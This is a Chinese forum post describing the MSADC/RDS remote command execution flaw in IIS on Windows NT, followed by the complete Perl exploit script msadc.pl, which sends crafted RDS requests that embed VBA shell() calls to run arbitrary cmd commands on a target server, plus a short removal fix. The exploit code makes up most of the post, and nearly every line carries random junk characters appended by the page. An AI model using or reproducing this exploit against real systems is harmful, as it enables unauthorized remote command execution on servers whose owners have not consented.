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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) bA,Zfsr6#  
aIFlNS,y  
涉及程序:  19]19_-  
Microsoft NT server 0&|0l>wy.  
N10U&L'w  
描述: 18sc|t  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 5]LWWjT  
QK+,63@D\=  
详细: KzO"$+M  
如果你没有时间读详细内容的话,就删除: ap )B%9  
c:\Program Files\Common Files\System\Msadc\msadcs.dll Uzzm2OS`  
有关的安全问题就没有了。 s$>n U  
<^Vj1s  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 :=;{w~D  
}R#W<4:  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Ve|:k5z  
关于利用ODBC远程漏洞的描述,请参看: f0 sGE5  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm .gDq+~r8O  
$Q8 &TM}E  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ^_|kEvk0  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp y`buY+5l  
]/1\.<uJId  
这里不再论述。 #l4T/`u'9!  
EZ .3Z`  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: )S%t) }  
iBAP,cR?`  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset z``wqK  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! /m"/#; ^l  
<A)M^,#o  
*PnO$q@`  
#将下面这段保存为txt文件,然后: "perl -x 文件名" B F<u3p??  
`"&Nw,C  
#!perl }Cu[x'J  
# WM ?a1j  
# MSADC/RDS 'usage' (aka exploit) script Pn OWQ8=  
# `L`+`B  
# by rain.forest.puppy &;d N:F;  
# gx9Os2Z|3  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me :}v-+eIQ  
# beta test and find errors! {IV% _y?  
|{YN3"qN  
use Socket; use Getopt::Std; - C q;  
getopts("e:vd:h:XR", \%args); }psRgF  
e9h@G#  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; s/IsrcfM  
$!.>)n  
if (!defined $args{h} && !defined $args{R}) { '^_u5Y]  
print qq~ 7:u+cv  
Usage: msadc.pl -h <host> { -d <delay> -X -v } hOAZvrfQ4  
-h <host> = host you want to scan (ip or domain) ALTOi?  
-d <seconds> = delay between calls, default 1 second +_i{4Iz~p  
-X = dump Index Server path table, if available lJu^Bcrv  
-v = verbose ( 4L/I  
-e = external dictionary file for step 5 BM,hcT r?  
v{a%TA9-  
Or a -R will resume a command session Q!1;xw~  
WZNq!K H  
~; exit;} &[-(=43@  
xeU|5-d'  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ,O5X80'.g  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} zg<-%r'$  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} . |T=T0^  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); B]"`}jn  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ^_bG{du  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } `sCaGCp  
,-y9P  
if (!defined $args{R}){ $ret = &has_msadc; XJ4f;U  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} NVv <vu  
YK3>M"58  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" w I_@  
. "cmd /c "; QE(.w dHP  
$in=<STDIN>; chomp $in; mgjJNzclL  
$command="cmd /c " . $in ; eTx9fx w  
ux&"TkEp  
if (defined $args{R}) {&load; exit;} W%g*sc*+  
I1E9E$m5\<  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; .Az36wD  
&try_btcustmr; E?XaU~cpc  
QPx5`{nN  
print "\nStep 2: Trying to make our own DSN..."; c}o 6Rm50  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; "17)`Yf  
f)/Z7*Z  
print "\nStep 3: Trying known DSNs..."; OT])t<TF6  
&known_dsn; +{I_%SsG  
`uMEK>b  
print "\nStep 4: Trying known .mdbs..."; k <oB9J  
&known_mdb; |NfFe*q0;8  
^Qs}2%  
if (defined $args{e}){ }]vUr}Els  
print "\nStep 5: Trying dictionary of DSN names..."; :DN!1~ZtW  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } < xy@%  
q`<:CfCt  
print "Sorry Charley...maybe next time?\n"; P9cx&Hk9  
exit; 2^WJ1: A  
d+JK")$9C  
############################################################################## o]e,5]  
lnZ{Ryo(  
sub sendraw { # ripped and modded from whisker 5.~Je6K U  
sleep($delay); # it's a DoS on the server! At least on mine... '8X>,un  
my ($pstr)=@_; 1VX3pkUET  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ~wb1sn3  
die("Socket problems\n"); v03cQw\"WE  
if(connect(S,pack "SnA4x8",2,80,$target)){ 6$k#B ~~  
select(S); $|=1; X1| +9  
print $pstr; my @in=<S>; 7=6:ZSI  
select(STDOUT); close(S); At(88(y-W  
return @in; )5Khl"6!z  
} else { die("Can't connect...\n"); }} K&L!O3#(  
_ >OP  
############################################################################## ANhtz1Fl  
K|P0nJT  
sub make_header { # make the HTTP request Yr9'2.%Q  
my $msadc=<<EOT y *i&p4Y*  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 2zBk#c+  
User-Agent: ACTIVEDATA J6Z[c*W  
Host: $ip 2Xt4Rqk$  
Content-Length: $clen u;`]U$Qq9  
Connection: Keep-Alive QHk\Z  
Dl;hOHvKk  
ADCClientVersion:01.06 7Aqg X0)  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Tru{8]uMH  
7*5B  
--!ADM!ROX!YOUR!WORLD! *4cuWkQ,  
Content-Type: application/x-varg r<`:Q]  
Content-Length: $reqlen d9f7 &  
+K 4XMf  
EOT G$<(>"Yr~$  
; $msadc=~s/\n/\r\n/g; 5p0~AN)  
return $msadc;} tDK@?PfKz  
|`T(:ZKXZ2  
############################################################################## CY1WT  
+ Iyyk02V  
sub make_req { # make the RDS request r6DLShP-Ur  
my ($switch, $p1, $p2)=@_; j_8 YFz5  
my $req=""; my $t1, $t2, $query, $dsn; !vSI"$xd  
B]rdgjz*  
if ($switch==1){ # this is the btcustmr.mdb query s.2f'i+  
$query="Select * from Customers where City=" . make_shell(); Nm*(?1  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ?XBdBR_"^  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} e HphM;C  
!7N:cx'Qy  
elsif ($switch==2){ # this is general make table query Th)  
$query="create table AZZ (B int, C varchar(10))"; sf> E  
$dsn="$p1";}  >G]JwO  
Ebnb-Lze,  
elsif ($switch==3){ # this is general exploit table query 7H6Ts8^S  
$query="select * from AZZ where C=" . make_shell(); 0j$\k|xFXZ  
$dsn="$p1";} gX}'b\zxC  
;2f=d_/x  
elsif ($switch==4){ # attempt to hork file info from index server n1-p/a.  
$query="select path from scope()"; }je<^]a  
$dsn="Provider=MSIDXS;";} .p#kW:zspA  
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elsif ($switch==5){ # bad query c#OxI*,+/  
$query="select"; ? x%s j  
$dsn="$p1";} b;i*}4h!  
jB LTEb  
$t1= make_unicode($query); :@L7RZ`_  
$t2= make_unicode($dsn); 72<9xNcB!}  
$req = "\x02\x00\x03\x00"; x5lVb$!G  
$req.= "\x08\x00" . pack ("S1", length($t1)); Fy=GU<&AI  
$req.= "\x00\x00" . $t1 ; EmNVQ1w  
$req.= "\x08\x00" . pack ("S1", length($t2)); Za|7gt];l  
$req.= "\x00\x00" . $t2 ; q*hn5K*  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; m06'T2I  
return $req;} VI! \+A  
-KiPqE%&G  
############################################################################## 9 [eiN  
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sub make_shell { # this makes the shell() statement yzS]FwW7  
return "'|shell(\"$command\")|'";} *6s_7{;  
{*_Ln  
############################################################################## AiqKf=  
LO`0^r  
sub make_unicode { # quick little function to convert to unicode '}OdF*L  
my ($in)=@_; my $out; X5)D[aE6  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 529; _|  
return $out;} K; #FU  
m<gdyY   
############################################################################## }+,Q&]>~  
1c$pz:$vX  
sub rdo_success { # checks for RDO return success (this is kludge) BtJkvg(2]  
my (@in) = @_; my $base=content_start(@in); j+jC J<  
if($in[$base]=~/multipart\/mixed/){ |IAx!Z-P  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ndSu-8?L  
return 0;} E>fY,*0  
nW=6nCyvo  
############################################################################## x;mw?B[  
9{pT)(Wnb  
sub make_dsn { # this makes a DSN for us z g7Q`  
my @drives=("c","d","e","f"); YD4I2'E  
print "\nMaking DSN: "; $Itmm/M  
foreach $drive (@drives) { "*lx9bvV_  
print "$drive: "; ZU\$x<,  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . JsY,Q,D q  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" b_+o1Zy`  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 0|GYtnd  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; _/>ktYo:  
return 0 if $2 eq "404"; # not found/doesn't exist "aGmv9\  
if($2 eq "200") { rZUTBLZ`j  
foreach $line (@results) { (kL"*y/"p  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 4 ]oe`yx  
} return 0;} x?i wtZ@  
%JeND XbI4  
############################################################################## KXWcg#zFY  
M"z=114  
sub verify_exists { >N^<Q4%2  
my ($page)=@_; cW3'057  
my @results=sendraw("GET $page HTTP/1.0\n\n"); M+t)#O4  
return $results[0];} Zg+.`>z  
7gX32r$%V  
############################################################################## _`2%)#^ o  
]}`t~#Irz  
sub try_btcustmr { -jjB2xP  
my @drives=("c","d","e","f"); MTYV~S4/  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ^#5'` #t  
HNkOPz+d&8  
foreach $dir (@dirs) { d V%o:@Z  
print "$dir -> "; # fun status so you can see progress  (?Ku-k  
foreach $drive (@drives) { AbNr]w&pXC  
print "$drive: "; # ditto $1=7^v[U  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; N XB8u6  
$reqlenlen=length( "$reqlen" ); 4~ x>]  
$clen= 206 + $reqlenlen + $reqlen; DgEdV4@p  
u>fs yn9c  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Sct  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} WsTIdr36x  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} F=F84 _+K  
ww|fqx?  
############################################################################## ?>7\L'n=5I  
ivo3 pibk%  
sub odbc_error { 2I:P}!  
my (@in)=@_; my $base; SU%O\ 4Ty  
my $base = content_start(@in); .{gDw  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this m{>1# 1;$t  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; F2YBkwI  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; uGAQt9$>_  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; @<K<"`~H  
return $in[$base+4].$in[$base+5].$in[$base+6];} yz [pF  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; aG1Fj[,  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . - ~z@W3\  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} T4x%3-4 ;  
.XgY&5Qk  
############################################################################## wPU5L*/*i  
Y6wr}U  
sub verbose { $mxG-'x%K  
my ($in)=@_; :{<|,3oNdR  
return if !$verbose; WvU[9ME^)  
print STDOUT "\n$in\n";} X -1r$.  
9@1n:X  
############################################################################## G)0 4'|W  
/[c_,G" "  
sub save { /J}G{Y |n  
my ($p1, $p2, $p3, $p4)=@_; Qi\]='C  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; g_4%M0&AX  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; EG4~[5[YgI  
close OUT;} `n,RC2yo  
5kqI  
############################################################################## G5hRx@vfrL  
`K VSYC  
sub load { /Ey%aA4v  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; QXj#Brp  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ~{DJ,(N"n  
@p=<IN>; close(IN); {"jtR<{)  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); l_k:OZ  
$target= inet_aton($ip) || die("inet_aton problems");  XY)X-K$  
print "Resuming to $ip ..."; Q'U!  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; a[ ;L+  
if($p[1]==1) { N5 sR  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; AXcmN  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; mBIksts5h  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); P^o@x,V!&  
if (rdo_success(@results)){print "Success!\n";} U/FysN_N!  
else { print "failed\n"; verbose(odbc_error(@results));}} t tr`  
elsif ($p[1]==3){ !ak760*A  
if(run_query("$p[3]")){ e!Z}aOeE  
print "Success!\n";} else { print "failed\n"; }} M_0f{  
elsif ($p[1]==4){ (KO]>!t  
if(run_query($drvst . "$p[3]")){ 8XVRRk  
print "Success!\n"; } else { print "failed\n"; }} 6b*xhu\  
exit;} 5_A*I C]  
tIn`L6b  
############################################################################## 2KO`+  
 9qa/f[G  
sub create_table { &y0GdzfQd  
my ($in)=@_; a2?@OJ  
$reqlen=length( make_req(2,$in,"") ) - 28; ['>ZC3?"h  
$reqlenlen=length( "$reqlen" ); !0p K8k&MG  
$clen= 206 + $reqlenlen + $reqlen; Bor_(eL^  
my @results=sendraw(make_header() . make_req(2,$in,"")); RaLV@>jPm  
return 1 if rdo_success(@results); zw'%n+5m  
my $temp= odbc_error(@results); verbose($temp); V+D<626o  
return 1 if $temp=~/Table 'AZZ' already exists/; _an 0G?7  
return 0;} q4X( _t  
BN&)5M?Xt6  
############################################################################## Lapeh>1T  
#6~KO7}  
sub known_dsn { 7.2G}O6$  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go RKzO$T  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", |t"CH'KJZ  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", :tbI=NDb  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); cK[=IE5  
I[rR-4.F]  
foreach $dSn (@dsns) { r4cz?e |  
print "."; X<_HQ  
next if (!is_access("DSN=$dSn")); XD8Cf!  
if(create_table("DSN=$dSn")){ N, u]2,E  
print "$dSn successful\n"; {oOUIP  
if(run_query("DSN=$dSn")){ $+2QbEk&-  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { %qsl<_&  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ] 0L=+=w  
S~r75] "  
############################################################################## ].Bx"L!B  
Xm<_!=  
sub is_access { FaJK R  
my ($in)=@_; *]/iL#  
$reqlen=length( make_req(5,$in,"") ) - 28; Slo^tqbG  
$reqlenlen=length( "$reqlen" ); pC,Z=+:  
$clen= 206 + $reqlenlen + $reqlen; J e|   
my @results=sendraw(make_header() . make_req(5,$in,"")); 3ouy-SQ  
my $temp= odbc_error(@results); M_+W5Gz<  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); |) cJ  
return 0;}  7L:Eg  
,_$J-F?  
############################################################################## Y(aUB$"  
PN99 R]K0g  
sub run_query { P3!@}!r8  
my ($in)=@_; "N'W~XPG  
$reqlen=length( make_req(3,$in,"") ) - 28; D 9;pjY  
$reqlenlen=length( "$reqlen" ); vC1fKo\p  
$clen= 206 + $reqlenlen + $reqlen; L9^ M?.a  
my @results=sendraw(make_header() . make_req(3,$in,"")); &2%|?f|  
return 1 if rdo_success(@results); Mb"y{Fox  
my $temp= odbc_error(@results); verbose($temp); "] 2^O  
return 0;} JXRU9`3)A  
Y6Y"fb%K  
############################################################################## [So1`IA6  
n>,GmCo  
sub known_mdb { Yx,E5}-  
my @drives=("c","d","e","f","g"); _'G'>X>}WU  
my @dirs=("winnt","winnt35","winnt351","win","windows"); =mX26l`B  
my $dir, $drive, $mdb; o=!_.lDF:  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; %hmRh~/&  
&=S:I!9;;  
# this is sparse, because I don't know of many 5|jY  
my @sysmdbs=( "\\catroot\\icatalog.mdb", a0k;way  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", f tl$P[T  
"\\system32\\certmdb.mdb", K@:omT  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% .* `]x  
^uG^>Om*  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ]Ue aXwaU  
"\\cfusion\\cfapps\\forums\\forums_.mdb", z}==6| {  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", aso8,mpZuA  
"\\cfusion\\cfapps\\security\\realm_.mdb", nVoWER:  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", %=*|: v  
"\\cfusion\\database\\cfexamples.mdb", ?vbAaRg50s  
"\\cfusion\\database\\cfsnippets.mdb", 8G$BQ  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", <L*`WO]\l  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", wA 7\K~fHV  
"\\cfusion\\brighttiger\\database\\cleam.mdb", jPo,mz&^  
"\\cfusion\\database\\smpolicy.mdb", zp:QcL"  
"\\cfusion\\database\cypress.mdb", 7*M-?  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", _UZPQ[  
"\\website\\cgi-win\\dbsample.mdb", N)D+FV29y  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", a {x3FQ  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ?zC{T*a  
); #these are just SmDNN^GR  
foreach $drive (@drives) { /zXOta G  
foreach $dir (@dirs){ nC[aEZ7  
foreach $mdb (@sysmdbs) { /9gn)q2f(  
print "."; 8PVjNS/  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ \}4*}Lr  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; \`z%5/@f;  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 9MO=f^f-  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; S,5>/'fy0  
} else { print "Something's borked. Use verbose next time\n"; }}}}} .9Cy<z  
?[.8A/:5  
foreach $drive (@drives) { 3O-vO=D  
foreach $mdb (@mdbs) { _OjZ>j<B.  
print "."; .Mb0++% W  
if(create_table($drv . $drive . $dir . $mdb)){ 7BINqVS&  
print "\n" . $drive . $dir . $mdb . " successful\n"; F7j/Zuj  
if(run_query($drv . $drive . $dir . $mdb)){ dR_6j}  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; (_@]-   
} else { print "Something's borked. Use verbose next time\n"; }}}} cK\ u  
} |,=^P` #%  
~Gh7i>n*  
############################################################################## 1,h:|  
X=1o$:7  
sub hork_idx { N2HD=[*cr  
print "\nAttempting to dump Index Server tables...\n"; __7}4mA  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; PCL ;Z  
$reqlen=length( make_req(4,"","") ) - 28; 9,JM$ Y {  
$reqlenlen=length( "$reqlen" ); l(87s^_  
$clen= 206 + $reqlenlen + $reqlen; ?aWVfX!+G5  
my @results=sendraw2(make_header() . make_req(4,"","")); EFx>Hu/ [G  
if (rdo_success(@results)){ {Ak 4GL  
my $max=@results; my $c; my %d; )=iv3nF?6N  
for($c=19; $c<$max; $c++){ <b *sn] l  
$results[$c]=~s/\x00//g; 9M($_2,44  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; :2M&C+f[  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; QD3tM5(Yr  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; bW! &n  
$d{"$1$2"}="";} ))Z>$\<:  
foreach $c (keys %d){ print "$c\n"; } vR!g1gI23  
} else {print "Index server doesn't seem to be installed.\n"; }} Wq+GlB*  
eC%Skw  
############################################################################## h/|p`MP\1  
JN9>nC!Zy_  
sub dsn_dict { ^vT!24sK  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); VZr:yE  
while(<IN>){ >w7KOVbN3  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ^<-r57pz  
next if (!is_access("DSN=$dSn")); @q>Hl`a  
if(create_table("DSN=$dSn")){ M!i|,S  
print "$dSn successful\n"; \5!7zPc  
if(run_query("DSN=$dSn")){ NZ i3U  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { g<;::'6  
print "Something's borked. Use verbose next time\n";}}} ,e9M%VIu6[  
print "\n"; close(IN);} IaSpF<&Y;  
2'-"&d+ O  
############################################################################## MYjc6@=cR  
ojlyW})$%  
sub sendraw2 { # ripped and modded from whisker *-5N0K<kQ  
sleep($delay); # it's a DoS on the server! At least on mine... Q0K$ZWM`7  
my ($pstr)=@_; KgkRs?'z  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || N2'aC} I  
die("Socket problems\n"); %>=6v} f,+  
if(connect(S,pack "SnA4x8",2,80,$target)){ P[G>uA>Z1  
print "Connected. Getting data"; #>bj6<  
open(OUT,">raw.out"); my @in; :EQ{7Op`  
select(S); $|=1; print $pstr; B1!xr-kC  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} >O24#!9XW  
close(OUT); select(STDOUT); close(S); return @in; 7pY :.iVO  
} else { die("Can't connect...\n"); }} D@68_sn  
O8bxd6xb  
############################################################################## w5%i  
=HsE:@  
sub content_start { # this will take in the server headers Q*%}w_D6f  
my (@in)=@_; my $c; kUS]g r~i  
for ($c=1;$c<500;$c++) { `q<W %'Tb$  
if($in[$c] =~/^\x0d\x0a/){ U7 D!w$4  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } &5R|{',(Y  
else { return $c+1; }}} 'n,V*9  
return -1;} # it should never get here actually ML\>TDt  
kO3\v)B;  
############################################################################## cXqYO|3/M  
C[ mTVxd  
sub funky { KsOWTq"uj  
my (@in)=@_; my $error=odbc_error(@in); JL1A3G  
if($error=~/ADO could not find the specified provider/){ JJtx `@Bc  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; yTd8)zWq  
exit;} L0!CHP/nRS  
if($error=~/A Handler is required/){ \|{/.R  
print "\nServer has custom handler filters (they most likely are patched)\n"; S$Zi{bU`G  
exit;} %Rn*oV  
if($error=~/specified Handler has denied Access/){ S=mqxIo@m  
print "\nServer has custom handler filters (they most likely are patched)\n"; m!%aB{e  
exit;}} ]n|Jc_Y  
m:?"|.]  
############################################################################## (XVBH 1p"  
oXnaL)Rk  
sub has_msadc { eyyME c!  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); esnq/  
my $base=content_start(@results); 6ABK)m-y  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); :+PE1=v  
return 0;} ={ms@/e/T  
{JP q. A  
######################## %?PFe}  
:NF4[c  
,?|$DY+=  
解决方案: OA[e}Vn  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ] c7X~y  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 Y/FPkH4  
|R0f--;  
拿出来充数 哈哈
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